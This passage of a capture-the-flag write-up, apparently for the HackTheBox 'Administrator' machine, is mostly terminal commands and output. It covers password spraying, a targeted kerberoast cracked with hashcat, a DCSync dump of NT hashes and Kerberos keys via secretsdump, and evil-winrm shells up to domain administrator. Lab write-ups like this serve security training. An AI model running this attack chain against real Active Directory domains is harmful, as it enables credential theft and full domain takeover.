Download - https://github.com/pwsafe/pwsafe/releases?q=non-windows&expanded=true
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| cd /opt/Production
wget https://github.com/pwsafe/pwsafe/releases/download/1.20.0/passwordsafe-debian12-1.20-amd64.deb
sudo apt install ./passwordsafe-debian12-1.20-amd64.deb -y
|
Export the credentials
Extract to username:password
format from result
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ cat ./loot/Backup.txt | awk '{print $3":"$4}' | tail -n +2 | tee ./loot/Backup.txt.creds
alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
|
Password spray
Split out user and password lists
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| cat ./loot/Backup.txt.creds | cut -d ":" -f 2- | sed '/^[[:space:]]*$/d' | sort -u > ./loot/Backup.txt.creds.pass; cat creds.lst | cut -d ":" -f 1 | sed '/^[[:space:]]*$/d' | sort -u > ./loot/Backup.txt.creds.user
|
Spray passwords on enabled users
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| /opt/sectools/password-attacks/BruteForce/brutespray -q -f ./nmap/all_tcp_ports.gnmap -u ldeep/_users_enabled.lst -p loot/Backup.txt.creds.pass
|
Mark emily
as owned
5985 - Evil-winrm
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ pt set user 'emily'; pt set pass 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'; echo "$(pt get user):$(pt get pass)" | anew creds.lst
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ evil-winrm -i $(pt get rhost) -u "$(pt get user)" -p "$(pt get pass)"
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily\Documents> cat ..\Desktop\user.txt
c58229d90f548b4da14e633534f19aa4
|
Root Flag
From emily to ethan
Targeted kerberoast on ethan
Get emily
’s outbound object control
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ python /opt/sectools/ad/targetedKerberoast/targetedKerberoast.py -v -d "$(pt get domain)" -u "$(pt get user)" -p "$(pt get pass)" -o targetedkerberoast.txt
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Writing hash to file for (ethan)
[VERBOSE] SPN removed successfully for (ethan)
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ cat targetedkerberoast.txt
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$863560d539514127c489b14754ecc3fa$b53ef40c0cf84b70dda52e631c89112e7937264bf741ade9b4fa39f3b24c40d37d3f943c7509442a4818ec439bd4a26539b8f1e76285227645c3d842dda488d424ba960acf84935a231e04282cedc3009c1bf0f60fe9494bac98a9af9cf954e9840c45d8ad64ac788a1cb4cc7e41b3e59b930937f509b5f1f53e80eebfa9c6e72565e89def0c05cfeaebd4bc5340e4d895e56337adf06116f04c34e8f05bf64835e8faf3209966f4933540531f1ff9a3030f29b8c8bb7f561630ea1ff2743354afde3981bd1c6b7a5246b4e2f3955439ad6c3273c3b2d9a45cc329d19c59983291f69985f30b80518e3d422fc916daa758be38509f8360ca7637f6945d9123c327ff8924d80e20911028e14cadfcb03ba6a93f084bc3de815c32b45e0eadbf5bd52c2c4caab4dce0b7a4d44a6d560516d19fbc448f80e91b66f4fe8d7ae47a938bb0e34f2ee3bc62ebc31f79ea2ddbfc41baf100c0cb9d35aef3fbb10985824f84ed44be9206ed4dd69bc7db49dcf3d537f5685bf4243a3dc3888ad2889b7a9fd78bdf0f862a2942f7e776213da55ff2aae5ab080e84fc5f9e61b59b5ca105a9f15fc96b488096f47728f924c1621de9826f6a8ee6a02c068b1aff677c837337642f1578bfeb9437d69cd37bf8fd45d31aa948642902f23ee868ed1f1fdabb7e423ac35383106bbfe79c0078302284cfa1586bee09711463d2e677856a9b7fed6fe7d5d49480914ad98bb7570e5177da1f44f09ada2d27765b530d217726a452a5d95f2f506b8cde1244d2601077ffffb55c1410f16a71767f102c913afd9293b7ee3fcf6f9f26f1f16c6f9fb20633fa8f2de4fcfef9226fe089cbebe671bfba945ded3f5f85fc73b845d60e2b8613dcf1fd8ba672431c6193697c7fc893cc9c65cb19b7bd4862e9312ace70c781438122144cb4f51d2d114f5d88be60d2e37bbe09d3fad826a32d8e5a9dcb1d34a80ad7c03d88a57b2ea09c2cd5ab5c4cb3863e9fb37b54f4116299233b1ee3ffbf09102a3e6e63a4b92d989f42fcc2e3b62dc35b219ed1c974771c1ceed235326ffcaec2765f31698af2c6425e5555d26758b85eb1cdabb527d8d198d8f9d17980c2dba084df5a3c4bccfe81b91aefded63188241fc624fceb95b16bcdc758dff2b020de796be280d51a00a61279c6ad16dce5cbff719ed89ec12b92f7463be03fa485293cd89deec5610dca23756d7cb56ec6fbf2bf56107c48a0272df4dc23086d8ee40c027f91ef73cdd3d492a95fa0cb6403051fd330a709fa347d06b14862521fb1ed51ffbcd0998a1ffaa271360c945a68ebe830bee6049e316f2c1da8f1b59a2d80bd8e8b8231d330869ce09fdd23c12c3347f8b752dc867fe9e1cc012a19f180732756ccce84bac13e5ad932c85732cf0fe4b0f41e1942503353edb131f25bf4555362daeae478c0bc25167c66b152ce5dd8b529d11a4bd83911ac85ba96254bdb83a0fa9f2d8884a83b947e209da980931e313b6fb62a5dda2ff390002f9d8c895ee50957a2a4a886c65ae83b
|
1
| hashcat targetedkerberoast.txt /opt/wordlists/rockyou.txt -m 13100
|
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ hashcat targetedkerberoast.txt /opt/wordlists/rockyou.txt -m 13100 --show
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$863560d539514127c489b14754ecc3fa$b53ef40c0cf84b70dda52e631c89112e7937264bf741ade9b4fa39f3b24c40d37d3f943c7509442a4818ec439bd4a26539b8f1e76285227645c3d842dda488d424ba960acf84935a231e04282cedc3009c1bf0f60fe9494bac98a9af9cf954e9840c45d8ad64ac788a1cb4cc7e41b3e59b930937f509b5f1f53e80eebfa9c6e72565e89def0c05cfeaebd4bc5340e4d895e56337adf06116f04c34e8f05bf64835e8faf3209966f4933540531f1ff9a3030f29b8c8bb7f561630ea1ff2743354afde3981bd1c6b7a5246b4e2f3955439ad6c3273c3b2d9a45cc329d19c59983291f69985f30b80518e3d422fc916daa758be38509f8360ca7637f6945d9123c327ff8924d80e20911028e14cadfcb03ba6a93f084bc3de815c32b45e0eadbf5bd52c2c4caab4dce0b7a4d44a6d560516d19fbc448f80e91b66f4fe8d7ae47a938bb0e34f2ee3bc62ebc31f79ea2ddbfc41baf100c0cb9d35aef3fbb10985824f84ed44be9206ed4dd69bc7db49dcf3d537f5685bf4243a3dc3888ad2889b7a9fd78bdf0f862a2942f7e776213da55ff2aae5ab080e84fc5f9e61b59b5ca105a9f15fc96b488096f47728f924c1621de9826f6a8ee6a02c068b1aff677c837337642f1578bfeb9437d69cd37bf8fd45d31aa948642902f23ee868ed1f1fdabb7e423ac35383106bbfe79c0078302284cfa1586bee09711463d2e677856a9b7fed6fe7d5d49480914ad98bb7570e5177da1f44f09ada2d27765b530d217726a452a5d95f2f506b8cde1244d2601077ffffb55c1410f16a71767f102c913afd9293b7ee3fcf6f9f26f1f16c6f9fb20633fa8f2de4fcfef9226fe089cbebe671bfba945ded3f5f85fc73b845d60e2b8613dcf1fd8ba672431c6193697c7fc893cc9c65cb19b7bd4862e9312ace70c781438122144cb4f51d2d114f5d88be60d2e37bbe09d3fad826a32d8e5a9dcb1d34a80ad7c03d88a57b2ea09c2cd5ab5c4cb3863e9fb37b54f4116299233b1ee3ffbf09102a3e6e63a4b92d989f42fcc2e3b62dc35b219ed1c974771c1ceed235326ffcaec2765f31698af2c6425e5555d26758b85eb1cdabb527d8d198d8f9d17980c2dba084df5a3c4bccfe81b91aefded63188241fc624fceb95b16bcdc758dff2b020de796be280d51a00a61279c6ad16dce5cbff719ed89ec12b92f7463be03fa485293cd89deec5610dca23756d7cb56ec6fbf2bf56107c48a0272df4dc23086d8ee40c027f91ef73cdd3d492a95fa0cb6403051fd330a709fa347d06b14862521fb1ed51ffbcd0998a1ffaa271360c945a68ebe830bee6049e316f2c1da8f1b59a2d80bd8e8b8231d330869ce09fdd23c12c3347f8b752dc867fe9e1cc012a19f180732756ccce84bac13e5ad932c85732cf0fe4b0f41e1942503353edb131f25bf4555362daeae478c0bc25167c66b152ce5dd8b529d11a4bd83911ac85ba96254bdb83a0fa9f2d8884a83b947e209da980931e313b6fb62a5dda2ff390002f9d8c895ee50957a2a4a886c65ae83b:limpbizkit
|
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ pt set user 'ethan'; pt set pass 'limpbizkit'; echo "$(pt get user):$(pt get pass)" | anew creds.lst
ethan:limpbizkit
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc smb $(pt get rhost) -u "$(pt get user)" -p "$(pt get pass)"
SMB 10.129.7.55 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.7.55 445 DC [+] administrator.htb\ethan:limpbizkit
|
From ethan to domain administrator
DCSync
Use kerberos for opsec safe
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ getTGT.py -dc-ip $(pt get ip) $(pt get domain)/$(pt get user):$(pt get pass)
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ethan.ccache
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ pt set ticket $(realpath "$(pt get user).ccache")
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ KRB5CCNAME="$(pt get ticket)" secretsdump.py -k $(pt get dc_fqdn) -outputfile secretsdump
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:3a121836acbd7e7ede51a705533522d4:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:3a121836acbd7e7ede51a705533522d4:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:f9a45cd7fe656f9bb989740cb2a2d8396e9d1bcfbbc47bbd505b3f8dfe7b3217
administrator.htb\michael:aes128-cts-hmac-sha1-96:c2f5119f595c40cc9c4c808801ecf075
administrator.htb\michael:des-cbc-md5:7658fdd0c75bc43b
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:cd82d145c56d03952dc93291bcbc11f81048e209c8abce32184e02aa3b75c58a
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:feeeecfc06fa542de56ea406c15abece
administrator.htb\benjamin:des-cbc-md5:07b0f23bdce9fd43
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...
|
5986 - Evil-Winrm
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ getTGT.py -dc-ip $(pt get ip) -aesKey "$(cat secretsdump.ntds.kerberos | grep Administrator | grep 'aes256' | awk -F: '{print $NF}')" "$(pt get domain)/Administrator"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ evil-winrm -r $(pt get domain) -i $(pt get dc_fqdn)
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
administrator\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ..\Desktop\root.txt
93306a00cae82788fc924f0320e44792
*Evil-WinRM* PS C:\Users\Administrator\Documents>
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Additional